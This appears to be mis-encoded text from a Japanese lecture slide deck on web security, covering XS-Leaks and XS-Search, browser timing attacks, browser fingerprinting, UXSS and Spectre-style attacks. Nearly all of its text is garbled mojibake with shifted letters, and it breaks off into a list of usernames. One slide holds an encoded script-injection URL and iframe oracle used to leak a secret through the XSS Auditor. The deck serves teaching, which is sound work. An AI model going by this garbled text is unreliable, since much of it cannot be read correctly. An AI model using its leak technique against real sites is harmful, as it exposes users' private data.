TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ$SPTTTJUF-FBLT4FBSDI 94-FBLT 944FBSDI‣ $SPTTTJUFMFBLT 94-FBLͱɺϒϥβ্ͰͷαΠυνϟωϧͨͪͷ૯শͰ͋Δ ޠฐ͋Δ͕ɻ‣ 94-FBL߈ܸͱͦͷΑ͏ͳαΠυνϟωϧΛ༻͍ͨ߈ܸͷ͜ͱɻ‣ ͱ͘ʹ܁Γฦ͠ͷ͍߹Θͤͷޙɺ؍ଌ͢Δɺͱ͍͏ྲྀΕ͔ΒͳΔ߈ܸɺ$SPTTTJUF4FBSDI 944FBSDIͱݺΕΔɻ‣ ྫ͑ҎԼͷΓͱΓ͔ΒɺϘϒͱΫϦε͖ͬͱΓ߹͍ͩͱݴ͑Δ͠ɺϘϒͱΞϦεΓ߹͍Ͱͳͦ͞͏ͩͱ͔Δɻ‣ ʮϘϒɺΫϦεͱͷؒͰૹड৴ͨ͠ϝʔϧͷ݅Կ݅ʁΞϦεͱʁʯ‣ ʮΫϦεͱ݅ɺΞϦεͱ͔݅ͳɻʯ‣ ͜Εͱࣅͨ͜ͱΛߦ͏ͷ͕944FBSDIͱݺΕΔ߈ܸɻ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟεΩʔϜ 944FBSDI‣ (FMFSOUFSFUBM ‣ ൴Β944FBSDIͷख๏ΛγεςϚνοΫʹهड़ͨ͠ɻ‣ ߩݙ‣ 944FBSDIͰར༻͢ΔͷʹͲͷ౷ܭख๏͕ద͔ͷݕ౼Λߦͬͨɻ‣ $SPTCZFUBM ͷ#PYUFTUͷ࠾༻‣ λΠϛϯάνϟωϧͷBNQMJpDBUJPOख๏ͷఏҊɻ‣ EJWJEFBOEDPORVFSΞϧΰϦζϜͷఏҊɻ‣ ࣍ϖʔδҎ߱Ͱ(FMFSOUFSFUBM ͷεΩʔϜΛઆ໌͢Δɻ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ۩ମྫ944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ߹%VNNZ3FRVFTU3FTQPOTF$IBMMFOHF3FRVFTU3FTQPOTF7JDUJN4FSWJDF7JDUJN6TFS"UUBDLFS*OJUJBUF$PMMFDU 3FTVMUTʮ͜ͷจʹ͕֮͑ͳ͍߹ɺ͜ͷϦϯΫΛΫϦοΫʯ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ۩ମྫ944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ߹%VNNZ3FRVFTU3FTQPOTF$IBMMFOHF3FRVFTU3FTQPOTF7JDUJN4FSWJDF7JDUJN6TFS"UUBDLFS*OJUJBUF$PMMFDU 3FTVMUTʮHSXHHSOHXPSHIHOPHKHʯͷݕࡧ݁ՌΛ͍߹ΘͤΔɻ݁Ռۭͳͣɻ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ۩ମྫ944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ߹%VNNZ3FRVFTU3FTQPOTF$IBMMFOHF3FRVFTU3FTQPOTF7JDUJN4FSWJDF7JDUJN6TFS"UUBDLFS*OJUJBUF$PMMFDU 3FTVMUTʮ"MJDFʯͰݕࡧ͢Δɻ͠ݕࡧ݁Ռͷಛྔ FHαΠζ ॲཧ࣌ؒ FUD͕%VNNZ3FRVFTUͱ͍͔ۙఆ͢Δͱɺۭ͔ͦ͏Ͱͳ͍͔͕ਪଌͰ͖Δɻ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ۩ମྫ944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ߹%VNNZ3FRVFTU3FTQPOTF$IBMMFOHF3FRVFTU3FTQPOTF7JDUJN4FSWJDF7JDUJN6TFS"UUBDLFS*OJUJBUF$PMMFDU 3FTVMUT ͷεςοϓΛ܁Γฦ͢
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ۩ମྫ944FBSDIΦϯϥΠϯϝʔϧαʔϏεͷ߹%VNNZ3FRVFTU3FTQPOTF$IBMMFOHF3FRVFTU3FTQPOTF7JDUJN4FSWJDF7JDUJN6TFS"UUBDLFS*OJUJBUF$PMMFDU 3FTVMUT߈ܸऀదͳλΠϛϯάͰ݁ՌΛճऩ͢Δ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ0VUMJOF944FBSDI(FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠%VNNZ3FRVFTU3FTQPOTF$IBMMFOHF3FRVFTU3FTQPOTF7JDUJN4FSWJDF7JDUJN6TFS"UUBDLFS*OJUJBUF$PMMFDU 3FTVMUT
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ0VUMJOF944FBSDI(FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠%VNNZ3FRVFTU3FTQPOTF$IBMMFOHF3FRVFTU3FTQPOTF7JDUJN4FSWJDF7JDUJN6TFS"UUBDLFS*OJUJBUF$PMMFDU 3FTVMUT߈ܸऀ͕ඃऀΛ᠘ϖʔδʹ༠ಋ͢Δɻ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ0VUMJOF944FBSDI(FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠%VNNZ3FRVFTU3FTQPOTF$IBMMFOHF3FRVFTU3FTQPOTF7JDUJN4FSWJDF7JDUJN6TFS"UUBDLFS*OJUJBUF$PMMFDU 3FTVMUT߈ܸऀ࢝Ίʹɺ݁Ռ͕͔Γ͖͍ͬͯΔ͍߹ΘͤΛૹ৴͠ %VNNZ3FRVFTUɺͦͷಛྔΛ94-FBLTΛ༻͍ͯಘͯɺͦΕΛ͓֮͑ͯ͘ɻ ͜ͷखॱʹΑΓɺҎ߱૬ରϕʔεͷ͕ٞͰ͖Δɻ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ0VUMJOF944FBSDI(FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠%VNNZ3FRVFTU3FTQPOTF$IBMMFOHF3FRVFTU3FTQPOTF7JDUJN4FSWJDF7JDUJN6TFS"UUBDLFS*OJUJBUF$PMMFDU 3FTVMUT࣮ࡍͷ͍߹ΘͤΛߦ͏ɻ͜͜ͰಘΒΕͨϨεϙϯεͷಛྔͱ%VNNZ3FRVFTU͔Βಘͨಛྔͷ૬ରΛͱʹɺ3FTQPOTFͷಛੑΛ෮ݩ͢Δɻ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ0VUMJOF944FBSDI(FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠%VNNZ3FRVFTU3FTQPOTF$IBMMFOHF3FRVFTU3FTQPOTF7JDUJN4FSWJDF7JDUJN6TFS"UUBDLFS*OJUJBUF$PMMFDU 3FTVMUT ͷεςοϓΛ܁Γฦ͢
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ0VUMJOF944FBSDI(FMFSOUFS ʹΑΔOPUBUJPOΛར༻ͨ͠%VNNZ3FRVFTU3FTQPOTF$IBMMFOHF3FRVFTU3FTQPOTF7JDUJN4FSWJDF7JDUJN6TFS"UUBDLFS*OJUJBUF$PMMFDU 3FTVMUT߈ܸऀదͳλΠϛϯάͰ݁ՌΛճऩ͢Δ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟಛੑ 944FBSDI 94-FBLT‣ 94-FBLT944FBSDIҎԼͷΑ͏ͳੑ࣭Λ࣋ͭɻ‣ Ϧιʔε͕ϦʔΫ͞ΕΔΘ͚Ͱͳ͍ɻ‣ 944 $44*OKFDUJPOͱҟͳΔɻ401͕͋ΔͨΊɻ‣ Ϧιʔεͷಛྔ͕ϦʔΫ͞ΕΔɻ‣ FH͋Δ͕֘Ϧιʔεʹؚ·Ε͍ͯΔ͔Ͳ͏͔ɻ‣ ݕࡧͷ߹͋Δ͕ϢʔβʔͷͭϦιʔεͷதʹؚ·Ε͍ͯΕɺݕࡧ݁ՌͷϨεϙϯε͍ͣɻ‣ FHϦιʔε͕ͲΕ΄Ͳෳࡶ͔େ͖͍͔ɻ‣ ෳࡶͳେ͖͍Ϩεϙϯε΄Ͳॲཧʹ͔͔Δ͍࣌ؒͣɻ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟྺ࢙94-FBLT 944FBSDI͍ܰϒʔϜ͕དྷͨ ͝Ζ͔Βʁɻ)551$BDIF$SPTT4JUF-FBLT IUUQTJSEBSDLDBUCMPHTQPUDPNIUUQDBDIFDSPTTTJUFMFBLTIUNM$SPTT4JUF$POUFOUBOE4UBUVT5ZQFT-FBLBHF IUUQTNFEJVNDPNCVHCPVOUZXSJUFVQDSPTTTJUFDPOUFOUBOETUBUVTUZQFTMFBLBHFFGEBCB&WBOT͕ݪ࢝తͳ944FBSDI JNHͱλΠϛϯάใʹΑΔͷΛఏҊͨ͠ &WBOT ɻ $SPTTEPNBJOTFBSDIUJNJOH IUUQTTDBSZCFBTUTFDVSJUZCMPHTQPUDPNDSPTTEPNBJOTFBSDIUJNJOHIUNM(FMFSOUFSFUBM͕944FBSDIΛ͋ΔఔମܥԽͯ͠هड़ɾݕ౼ͨ͠ (FMFSOUFSFUBM ɻ࣮ੈքͰͷ߈ܸྫఏࣔ͞Εͨɻ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟࢀߟจݙ 94-FBLT 944FBSDIͬͱֶͼ͍ͨ͋ͳͨͷͨΊʹ‣ /PUFYTMFBLTYTMFBLTIBTBDPNQSFIFOTJWFTVSWFZQBHF IUUQTHJUIVCDPNYTMFBLTYTMFBLTXJLJ-JOLT‣ ':*/FX94-FBLUFDIOJRVFTSFWFBMGSFTIXBZTUPFYQPTFVTFSJOGPSNBUJPOCZ1PSU4XJHHFS IUUQTQPSUTXJHHFSOFUEBJMZTXJHOFXYTMFBLUFDIOJRVFTSFWFBMGSFTIXBZTUPFYQPTFVTFSJOGPSNBUJPO‣ ':*94-FBLTBOE944FBSDICZ(PPHMF IUUQTTJUFTHPPHMFDPNTJUFCVHIVOUFSVOJWFSTJUZOPOWVMOYTMFBLT
&YBNQMF 'SBNF$PVOU
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟXJOEPXMFOHUI $SPTT0SJHJOͰಡΊΔϓϩύςΟͷදྫ‣ લఏ‣ ࣝXJOEPXMFOHUI֘XJOEPXதͷGSBNFͷݸΛฦ͢ɻ‣ ิXJOEPXMFOHUIXJOEPXGSBNFTMFOHUI‣ ࣝ401ԼͰ͋ͬͯɺXJOEPXMFOHUIͷ$SPTT0SJHJOͳಡΈग़͠ڐՄ͞Ε͍ͯΔɻ‣ ࢀߟ.%/ IUUQTEFWFMPQFSNP[JMMBPSHFO64EPDT8FC4FDVSJUZ4BNFPSJHJO@QPMJDZ‣ ͜ΕΛ߈ܸʹར༻Ͱ͖ΔγνϡΤʔγϣϯଘࡏ͢Δ͔ɻ͋ΔͷͰ͋ΕɺͦΕͲͷΑ͏ͳ߹͔ɻ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ944"VEJUPS "HPPEGSJFOEGPS944NBOJB‣ 944"VEJUPS‣ 99441SPUFDUJPOIFBEFSEFpOFTUIFBDUJPOXIFO3FqFDUFE944JTGPVOE‣ 5IFSFBSFUXPNPEFT pMUFSCMPDL‣ 3FTFBSDIFSTIBWFUBDLMFEXJUICZQBTTJOHPG944"VEJUPS
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟXJOEPXMFOHUIΛར༻Ͱ͖Δྫ 'SBNF$PVOU‣ ҎԼ99441SPUFDUJPONPEFCMPDLΛఆ͢Δɻ‣ ϖʔδ͕IUUQFYBNQMFDPNIPHFͰαʔϒ͞Ε͍ͯΔͱ͢Δɻ‣ ࣍ͷ63-Λ౿Ήͱɺ944"VEJUPSʹΑΓϖʔδද͕ࣔϒϩοΫ͞ΕΔɻ‣ IUUQFYBNQMFDPNIPHF$TDSJQU&MFUTFDSFU%USVF#$'TDSJQU& 63-"ͱ͢Δ‣ USVFˠGBMTFͱͨ͠63- 63-#ͱ͢ΔͰϒϩοΫ͞Εͳ͍ɻlet secret= true;
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟXJOEPXMFOHUIΛར༻Ͱ͖Δྫ 'SBNF$PVOU‣ ͱ͜ΖͰɺҎԼཱ͕͍ͯ͠Δɻ‣ 944"VEJUPSʹΑΓϖʔδද͕ࣔϒϩοΫ͞ΕΔͱɺ͜ͷϖʔδͷXJOEPXMFOHUIͱͳΔɻ‣ ϒϩοΫ͞Ε͍ͯͳ͍߹ɺXJOEPXMFOHUIͱͳΔɻ‣ Αͬͯɺ࣍ͷͭͷJGSBNFͷ͏ͪͲͪΒͷXJOEPXMFOHUI͕ʹͳΔ͔ʹΑͬͯɺTFDSFUͷ͕ผͰ͖Δɻ‣ JGSBNFTSD63-" JGSBNFTSD63-#let secret = true;
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ944"VEJUPSͷ෭࡞༻ ͳͥ944"VEJUPS͕ඇΛड͚͍ͯΔͷ͔‣ 944"VEJUPS͕ϒϩοΫ͢Δͱʜ‣ 94-FBLTͷԹচʹͳΔ944"VEJUPSΛJODMVTJPOͷΦϥΫϧʹར༻Ͱ͖Δɻ‣ 944"VEJUPS͕ϑΟϧλ͢Δͱʜ‣ ։ൃऀ͕ҙਤ͍ͯ͠ͳ͍ഁյ͕ى͖Δɻ‣ %0.$MPCCFSJOHͳͲͱͷΈ߹ΘͤʹΑΔى͜Γ͏Δɻ‣ ࢀߟ9944/JHIUNBSFNPEFBUUBDL944"UUBDLT&YQMPJUJOH944'JMUFS !NBTBUPLJOVHBXB IUUQTXXXTMJEFTIBSFOFUNBTBUPLJOVHBXBYYOFO‣ ':**OGPSNBUJPOUIFGUBUUBDLTBCVTJOHCSPXTFST944pMUFS IUUQTXXXNCTEKQCMPHIUNM
&YFSDJTF XJOEPXMFOHUI ඇެ։
&YBNQMF 5JNJOH*OGPSNBUJPO
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ5JNJOH"UUBDL 8FC αΠυνϟωϧ߈ܸͷԦ༷‣ ϒϥβ্Ͱͷ࣌ؒܭଌ͔ΒಘΒΕΔใɺͲͷΑ͏ʹͯ͠߈ܸʹར༻Ͱ͖ΔͩΖ͏͔ɻ‣ ॳظͷΞΠσΞ 'FMUFOBOE4DIOFJEFS ‣ ϒϥβͷΩϟογϡͷ༗ແ͕ɺϦιʔεͷϩʔυͷૣ͞ΛܾΊΔɻ‣ ϒϥβΩϟογϡͷ༗ແɺϒϥβཤྺΛө͍ͯ͠Δɻ‣ ͢ͳΘͪɺϦιʔεͷಡΈࠐΈɺϒϥβཤྺΛө͠͏Δɻ‣ Ұൠʹɺ8FCʹ͓͚ΔλΠϛϯά߈ܸɺ࣍ͷ؍Ͱྨ͞ΕΔɻ‣ $POOFDUJWJUZEJSFDUPSDSPTTTJUF‣ 5BSHFU5JNJOHTFSWFSTJEFUJNJOHPSDMJFOUTJEFUJNJOH
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ%JSFDU5JNJOH"UUBDL #PSU[BOE#POFI $SPTCZFUBM ‣ ֓ཁϦʔΫ͍ͨ͠ใ͕8FCΞϓϦέʔγϣϯશମͷڍಈʹӨڹΛ༩͑Δ߹Λఆͨ͠߈ܸͷ͜ͱɻ‣ ݚڀͷྫ‣ 8FCΞϓϦέʔγϣϯͷॲཧ࣌ؒͷ؍ଌʹΑΓɺαʔόʔαΠυͰอ࣋͞ΕͨσʔλͷαΠζΛϦʔΫͰ͖Δ #PSU[BOE#POFI ɻ‣ ωοτϫʔΫӽ͠ͷλΠϛϯά߈ܸͰ͋ͬͯɺ౷ܭख๏Λ͢Δͱɺඇৗʹྑ͍ਫ਼͕࣮ݱͰ͖Δ $SPTCZFUBM ɻ‣ #PYUFTUͱݺΕΔ౷ܭख๏ɺޙͷݚڀͰଟ༻͞Ε͍ͯΔɻ‣ FH%SBHPOCMPPE 7BOIPFGBOE3POFO ‣ FH944FBSDI (FMFSOUFSFUBM
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ$SPTTTJUF5JNJOH"UUBDL #PSU[BOE#POFI ‣ ϦʔΫ͍ͨ͠ใɺ8FCΞϓϦέʔγϣϯશମͷڍಈʹӨڹΛ༩͑ͳ͍͕ɺͦΕΛอ࣋͢ΔϢʔβʔ͕ߦ͑Δૢ࡞ʹӨڹΛ༩͑Δ߹Λఆͨ͠߈ܸͷ͜ͱɻ‣ αʔόʔαΠυͷ࣌ؒʹணͨ͠ݚڀ‣ &WBOT (FMFSOUFSFUBM ͕දత‣ ΫϥΠΞϯταΠυͷ࣌ؒʹணͨ͠ݚڀ‣ CSPXTFSCBTFEUJNJOHBUUBDLTͱݺΕΔɻ‣ $BDIFػߏͷ׆༻7BO(PFUIFNFUBM ‣ $44ͷ׆༻4UPOF ,PUDIFSFUBM 4NJUIFUBM
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ$MJFOUTJEF5JNJOH BLB#SPXTFSCBTFE5JNJOH"UUBDL‣ ΞΠσΞϦιʔεಡΈࠐΈͷ࣌ؒϦιʔεͷαΠζͱͷ૬ؔΛͭ ͣɻ‣ /FUXPSLKJUUFSαʔόʔෛՙʹΑΔ355Ԇ͕࣌ؒܭଌʹΔͱɺຊʹܭଌ͍͕ͨ࣌ؒ͠ଌΕͳ͍ɻ‣ ݚڀͷྫ7BO(PFUIFNFUBMɺ࣍ͷΑ͏ͳϞμϯͳ8FC"1*Λར༻͢Δ͜ͱʹΑΓɺΫϥΠΞϯταΠυͰͷϦιʔεಡΈࠐΈͷ࣌ؒΛਖ਼֬ͳܭଌΛୡͨ͠ 7BO(PFUIFNFUBM ɻ‣ FH$BDIF"1* PG4FSWJDF8PSLFS‣ FH"QQMJDBUJPO$BDIF
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ$MJFOUTJEF5JNJOH BLB#SPXTFSCBTFE5JNJOH"UUBDL‣ ΞΠσΞϨϯμϦϯάʹඞཁͳ࣌ؒίϯςϯπͱͷ૬ؔΛͭɻ‣ +4͔Β৮Εͳ͍σʔλͰ͋ͬͯɺϨϯμϦϯά͞ΕΔ͜ͱ͕͋ΔͷͰɺ͔ͨ͠͠Β߈ܸͷద༻ൣғ͕͕Δ͔ɻ‣ ݚڀͷྫ‣ 1JYFMQFSGFDUUJNJOHBUUBDLT 4UPOF IUUQTXXXDPOUFYUJTDPNNFEJBEPXOMPBET1JYFM@1FSGFDU@5JNJOH@"UUBDLT@XJUI@)5.-@8IJUFQBQFSQEG‣ 1JYFMTUFBMJOHUJNJOHBUUBDLT ,PUDIFSFUBM IUUQTEMBDNPSHDJUBUJPODGN JE‣ "CVTFPG1BJOU"1* %5SBOTGPSNT BOE47(T 4NJUIFUBM IUUQTXXXVTFOJYPSHDPOGFSFODFXPPUQSFTFOUBUJPOTNJUI
&YFSDJTF 4JNQMF5JNJOH"UUBDLඇެ։
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟλΠϛϯάܭଌͷث λΠϚͱͯ͑͠Δͷͷྫ‣ λΠϜελϯϓϕʔεͷղੳΛ͢Δ߹‣ ݱʹ͓͍ͯͬͱγϯϓϧͳλΠϚQFSGPSNBODFOPX ‣ ϒϥβ͔Βར༻Ͱ͖ΔߴੑೳλΠϚʹؔ͢Δݚڀͱͯ͠ɺ࣍ϖʔδͰհ͢Δ4DIXBS[ ͕༗໊ɻ‣ '14 GSBNFTQFSTFDPOEϕʔεͷղੳΛ͢Δ߹‣ SFRVFTU"OJNBUJPO'SBNF͕ར༻Ͱ͖Δ‣ ར༻͍ͯ͠Δݚڀͷྫ4NJUIFUBM ͷ$44ʹΑΔཤྺใ࿙Ӯ‣ ϒϥβͷϨϯμϦϯάपΓͷઃܭΛཧղ͓ͯ͘͠ͱྑ͍͜ͱ͕͋Δ‣ IUUQTEFWFMPQFSTHPPHMFDPNXFCGVOEBNFOUBMTQFSGPSNBODFDSJUJDBMSFOEFSJOHQBUI IMKB
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟλΠϛϯάܭଌͷث දతͳܭଌλΠϛϯά‣ MPBEΠϕϯτ‣ $SPTT0SJHJOͳΟϯυؒͰऔΕͳ͍ɻ‣ JGSBNFͳΒͦͷϑϨʔϜMPBEΠϕϯτΛMJTUFOͰ͖Δɻ‣ %0.$POUFOU-PBEFE %$-Πϕϯτ‣ ࣮''ͰϖʔδதͷJGSBNFͰੜͨ͡%$-ΠϕϯτΛMJTUFOग़དྷΔ ੲ͔Βͷ༷ʜ%0.'SBNF$POUFOU-PBEFE‣ ࢀর(FDLPݻ༗ͷ%0.ΠϕϯτҰཡ IUUQTEFWFMPQFSNP[JMMBPSHKBEPDT(FDLP4QFDJpD@%0.@&WFOUT‣ JNHͷPOFSSPSଐੑ‣ Ϩεϙϯε͕ؼ͖ͬͯͨλΠϛϯάͷଌఆʹΘΕ͍ͯͨ ࠓ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ༨ஊ .JDSPBSDIJUFDUVSBM"UUBDLT‣ ʮਫ਼ͷ͍͍ཧతͳλΠϚʯ͕͋Εɺ+4͔ΒͰ͋ͬͯɺ.JDSPBSDIJUFDUVSBM"UUBDLT͕࣮ݱ͞Ε͏Δɻ‣ 4DIXBS[ FUBM ʮਫ਼ͷ͍͍ཧతͳλΠϚʯͷݚڀ‣ .4DIXBS[ $.BVSJDF %(SVTT BOE4.BOHBSE l'BOUBTUJD5JNFSTBOE8IFSFUP'JOE5IFN)JHI3FTPMVUJPO.JDSPBSDIJUFDUVSBM"UUBDLTJO+BWB4DSJQUz‣ -JQQFUBM ࣮ࡍͷ߈ܸʹؔ͢Δݚڀ‣ .-JQQ %(SVTT .4DIXBS[ %#JEOFS $.BVSJDF BOE4.BOHBSE l1SBDUJDBMLFZTUSPLFUJNJOHBUUBDLTJOTBOECPYFE+BWB4DSJQU z-FDU/PUFT$PNQVU4DJ JODMVEJOH4VCTFS-FDU/PUFT"SUJG*OUFMM-FDU/PUFT#JPJOGPSNBUJDT WPM-/$4 QQr ‣ ͦͷଞɺ&WFOU%SJWFO1SPHSBNNJOH &%1ʹͨ͠λΠϛϯά߈ܸఏҊ͞Ε͍ͯΔ 7JMBBOE,ÖQG ɻ‣ 17JMBBOE#,ÖQG l-PPQIPMF5JNJOHBUUBDLTPOTIBSFEFWFOUMPPQTJO$ISPNF zUI64&/*94FDVS4ZNQ 64&/*94FDVS QQr
༨ஊ 0SJHJOΛ͑ͯ͜
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ0SJHJOΛ͑ͯ͜ ͬͱ8FCΛݟԼΖͯ͠ΈΔ‣ ཧ944 94-FBL"UUBDLTɺͲͪΒݸผͷ0SJHJOʹର͢Δ߈ܸͰ͋Δ͜ͱ͕͔Δɻ‣ 944͋Δ0SJHJOʹର͢ΔεΫϦϓτͷೖʹΑΔσʔλୣऔ‣ 94-FBLT͋Δ0SJHJOͷ֎͔Βͷ؍ଌʹΑΔσʔλͷਪఆ ୣऔ‣ 0SJHJOΛ·͕ͨͬͨ߈ܸͱͯ͠ɺͲΜͳͷ͕ߟ͑ΒΕΔ͔ɻ‣ ྫτϥοΩϯά‣ 0SJHJOͷڥքΛӽ͑ͯϢʔβʔΛ͍͔͚Δ‣ ྫϒϥβશମ ͋Δ͍4JUF୯Ґʹର͢Δ߈ܸ‣ 6944‣ 3$&PS5SBOTJFOU&YFDVUJPO"UUBDLT
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ#SPXTFS'JOHFSQSJOUJOH σʔλ౪Ίͳͯ͘ʁ‣ -BQFSESJYFUBM ΒʹΑΔઆ໌‣ #SPXTFS'JOHFSQSJOUͱɺϢʔβʔͷσόΠεʹؔ࿈ͨ͠Ұཡͷใ FH༻͍ͯ͠Δ 04 ϒϥβ ઃఆ ͷ͜ͱɻ‣ #SPXTFS'JOHFSQSJOUJOH #1ͱ8FCϒϥβ্͔ΒσόΠεͷ'JOHFSQSJOUΛੜ͢Δߦҝͷ͜ͱɻ‣ τϥοΩϯά੬ऑੑݕग़ɺ'SBVEEFUFDUJPOʹར༻͞ΕΔɻ‣ #1ͱଞख๏ͷؒͰͷҧ͍ʁ‣ ͷ#1εςʔτϨεͰ͋Γɺଞख๏ͦ͏Ͱͳ͍ͷ͕ଟ͍ɻ‣ ଞख๏ͷྫʜ$PPLJFͳͲΛ༻͍Δ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ#SPXTFS'JOHFSQSJOUJOH ͓͖͑ͯ͘จ‣ ͜ͷʹؔͯ͠ɺલ߲Ͱڍ͛ͨ-BQFSESJYFUBM ʹΑΔαʔϕΠ͕ඇৗʹৄ͍͠ɻ‣ 1-BQFSESJY /#JFMPWB ##BVESZ BOE("WPJOF l#SPXTFS'JOHFSQSJOUJOH"TVSWFZ z$P33 WPMBCT ‣ 4DIXBS[FUBM Ͱϒϥβ্ͰͷpOHFSQSJOUͷੜΛࣗಈԽ +BWB4DSJQU5FNQMBUF"UUBDLT͕ఏҊ͞Ε͍ͯΔɻ‣ .4DIXBS[ '-BDLOFS BOE%(SVTT l+BWB4DSJQU5FNQMBUF"UUBDLT"VUPNBUJDBMMZ*OGFSSJOH)PTU*OGPSNBUJPOGPS5BSHFUFE&YQMPJUT z/ETT OP'FCSVBSZ
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ6944 6OJWFSTBM$SPTT4JUF4DSJQUJOH͞ΘΓ͚ͩ‣ 6944߈ܸऀ͕ҙ0SJHJOΛͬͨεΫϦϓτΛ࣮ߦͰ͖ΔΑ͏ͳ੬ऑੑͷ͜ͱɻ‣ ݪҼϒϥβຊମɾϓϥάΠϯɾϒϥβ֦ுͷ࣮ෆඋɻ‣ ඞಡ‣ 6944EC IUUQTHJUIVCDPN.FUOFXVYTTEC‣ .BTBUP,JOVHBXBࢯͷϒϩά IUUQTNBTBUPLJOVHBXBMDN‣ (PPHMF͔Βग़ͨͷจ IUUQTBJHPPHMFSFTFBSDIQVCTQVC
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ5SBOTJFOU&YFDVUJPO"UUBDLT FH4QFDUSF .FMUEPXO‣ 5SBOTJFOU&YFDVUJPO"UUBDLT‣ 1%'ͷ$IBQUFSࢀরɻ‣ ڵຯͷ͋ΔਓҎԼΛಡΉͱงғؾ͕͔Δ͔͠Εͳ͍ɻ‣ (SVTTࢯͷത࢜จ IUUQTHSVTTDD͔Β୧ΕΔ‣ $$BOFMMBFUBM l"4ZTUFNBUJD&WBMVBUJPOPG5SBOTJFOU&YFDVUJPO"UUBDLTBOE%FGFOTFT z‣ 3.DJMSPZ +4FWDJL 55FCCJ #-5JU[FS BOE57FSXBFTU l4QFDUSFJTIFSFUPTUBZ"OBOBMZTJTPGTJEFDIBOOFMTBOETQFDVMBUJWFFYFDVUJPO zQQr ‣ ͜ΕΒͷൃల͕4JUF*TPMBUJPO $03# $031 $0&1 ͷਐలΛଅͨ͠ ɺͱݴͬͯΑ͍ͱࢥ͏ɻ
&YFSDJTF 3FDPO$IBMMFOHFඇެ։
$PODMVTJPO
TIJGUKTJOGPମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ࠷ޙʹ ମܥతʹֶͿϞμϯ8FCηΩϡϦςΟ‣ ߈ܸͱޚཪදɻྺ࢙ʹֶ΅͏ɻ‣ 8FCηΩϡϦςΟΛֶͿجૅମྗΛཆ͏͜ͱͰ͖·͔ͨ͠ʁ‣ ࠓճऔΓ্͍͛ͯͳ͍ͨ͘͞Μ͋Γ·͢ɻ N944 5SVTUFE5ZQFT ‣ ͨͩɺ͏ेཧղ͢Δ͋Δͣɻ‣ ײΛ5XJUUFSͰͭͿ͍ͯ͘ΕΔͱخ͍͠Ͱ͢ɻ‣ TFDDBNQTFDDBNQC‣ ࠓޙҰॹʹ8FCηΩϡϦςΟΛֶΜͰ͍͖·͠ΐ͏‣ 'PMMPX!MNU@TXBMMPX!ZOVDIZ‣ ࣄલ՝ͰಡΜͰΒͬͨຊͷϨϏϡϫʔืू͍ͯ͠·͢ɻ
"OZ2VFTUJPOT
lmt_swallow
bakanaouji
yuukicammy
shimacos
gatheluck
kinakomoti321
chokkan
ya9do
yuyay
yukinobaba
johannyjm
yuki_koyama
shuntaros
reverentgeek
tammielis
tanoku
smashingmag
maggiecrowley
scottboms
dougneiner
lynnandtonic
malarkey
deanohume
tenderlove
lara